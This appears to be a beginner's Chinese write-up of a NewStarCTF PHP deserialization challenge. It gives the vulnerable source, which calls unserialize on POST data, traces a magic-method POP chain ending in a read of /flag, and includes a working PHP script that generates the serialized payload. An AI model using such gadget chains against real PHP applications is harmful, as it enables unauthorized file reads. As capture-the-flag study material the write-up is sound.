一、源码
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('/flag');
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}
if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}
二、思路
纯新手,第一次接触这样的题,上网搜了搜,看了看。流程:Star.__destruct()->Sec.__tostring()->Easy.__call()->eeee.__clone()->Start.__isset()->Sec.__invoke()
一开始,啥都不会,就这样弄弄。结果出错,网上搜了一下,privare和protext
要在类内部定义,所以改了一下。结果出现了无限循环。错误示范:public function __construct(){$this->xx=new 下一类}
,我就一直这样。然后在Start
那里陷入循环了。然后就摆烂了。然后,这周别人的wp出来了,学习了一下。
这里要注意$this->cla = clone $var[0]
,前面已经把$b->var=$c
了,所以此时,$this->cla=$c
三、代码
一:要在一开始就定义好,尽量别在类内部。避免进入循环。
二:可以把private
改成public
(看到的,虽然感觉不靠谱)
<?php
class Start{
public $name;
protected $func;
public function __construct(){
$this->func=new Sec();
}
}
class Sec{
private $obj;
public $var;
public function __construct() {
$this->obj = new Easy();
}
}
class Easy{
public $cla;
}
class eeee{
public $obj;
}
$a=new Start();
$b=new Sec();
$c=new eeee();
$c->obj=$a;
$a->name=$b;
$b->var=$c;
echo urlencode((serialize($a)));
?>
好难哦~~
参考:https://blog.csdn.net/trytowritecode/article/details/127058676